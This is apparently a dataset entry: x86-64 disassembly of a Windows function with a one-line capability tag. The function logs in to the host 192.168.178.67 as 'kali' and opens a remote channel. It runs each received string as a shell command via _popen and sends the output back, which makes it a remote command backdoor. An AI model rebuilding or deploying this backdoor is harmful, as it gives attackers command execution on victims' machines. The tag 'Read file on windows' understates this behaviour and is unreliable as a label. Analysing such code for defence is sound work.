Function at 0x1401289c0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x940
mov rax, qword [0x1403bfb80]
xor rax, rsp
mov qword [rsp + 0x930], rax
mov dword [rsp + 0x20], reloc.WS2_32.dll_shutdown
call fcn.14012c1e0
mov r13, 0xffffffffffffffff
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x28], reloc.WS2_32.dll_shutdown
call fcn.14012ca60
mov rsi, rax
test rax, rax
je 0x140128a05
lea r8, str.192.168.178.67
xor edx, edx
mov rcx, rax
call fcn.14012d0e0
lea r8, [rsp + 0x28]
mov edx, 1
mov rcx, rsi
call fcn.14012d0e0
lea r8, str.kali
mov edx, 4
mov rcx, rsi
call fcn.14012d0e0
mov rcx, rsi
call fcn.1401295e0
test eax, eax
je 0x140128a85
lea rdx, str.192.168.178.67
lea rcx, str.Error_connecting__s_n
call fcn.140128950
mov rcx, rsi
call fcn.14012c320
jmp 0x140128a05
lea rcx, str.connected_n
call fcn.140128950
lea r8, str.kali
xor edx, edx
mov rcx, rsi
call fcn.14012edd0
test eax, eax
je 0x140128ad3
mov rcx, rsi
call fcn.14012c160
mov ecx, 2
mov rbx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8, rbx
lea rdx, str.Error_authenticating_with_password:__s_n
mov rcx, rax
call fcn.140128900
jmp 0x140128cb2
lea rcx, str.authenticated_n
call fcn.140128950
lea r9, [rsp + 0x20]
mov r8d, 0x384
lea rdx, str.192.168.178.67
mov rcx, rsi
call fcn.14012b2c0
test eax, eax
je 0x140128b30
mov rcx, rsi
call fcn.14012c160
mov ecx, 2
mov rbx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8, rbx
lea rdx, str.Error_opening_remote_port:__s_n
mov rcx, rax
call fcn.140128900
jmp 0x140128cb2
lea r8, [rsp + 0x20]
mov edx, 0xea60
mov rcx, rsi
call fcn.14012c250
mov r12, rax
test rax, rax
je 0x140128b30
lea rcx, str.got_channel
call fcn.140128950
xor r9d, r9d
lea rdx, [rsp + 0x830]
mov r8d, 0x100
mov rcx, r12
call fcn.14012b570
test eax, eax
jle 0x140128c7a
nop word [rax + rax]
lea rdx, [0x1403a124c]
lea rcx, [rsp + 0x830]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__popen]
mov r14, rax
test rax, rax
je 0x140128ca2
xor edi, edi
lea rcx, [rsp + 0x30]
mov r9, rax
mov r8d, 0x100
xor r15d, r15d
lea edx, [rdi + 1]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rbp, rax
test rax, rax
je 0x140128c59
nop dword [rax]
movsxd rbx, r15d
mov rcx, rdi
mov rdx, rbx
add rdx, rbp
cmovb rdx, r13
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_realloc]
mov r8, rbp
lea rdx, [rsp + 0x30]
mov rdi, rax
lea rcx, [rbx + rax]
call sub.VCRUNTIME140.dll_memmove
mov r9, r14
lea rcx, [rsp + 0x30]
mov edx, 1
mov r8d, 0x100
add r15d, ebp
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rbp, rax
test rax, rax
jne 0x140128bd0
test rdi, rdi
je 0x140128c59
mov r8, r13
inc r8
cmp byte [rdi + r8], 0
jne 0x140128c26
mov rdx, rdi
mov rcx, r12
call fcn.14012b900
mov rcx, r13
nop
inc rcx
cmp byte [rdi + rcx], 0
jne 0x140128c40
cdqe
cmp rax, rcx
jne 0x140128cc7
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xor r9d, r9d
lea rdx, [rsp + 0x830]
mov r8d, 0x100
mov rcx, r12
call fcn.14012b570
test eax, eax
jg 0x140128b80
mov rcx, rsi
call fcn.14012c160
mov ecx, 2
mov rbx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
lea rdx, str.Error_reading_incoming_data:__s_n
mov r8, rbx
mov rcx, rax
call fcn.140128900
mov rcx, r12
call fcn.14012b7e0
mov rcx, r12
call fcn.14012b260
mov rcx, rsi
call fcn.140129990
mov rcx, rsi
call fcn.14012c320
jmp 0x140128a05
mov rcx, rsi
call fcn.14012c160
mov ecx, 2
mov rbx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
lea rdx, str.Error_sending_answer:__s_n
jmp 0x140128c97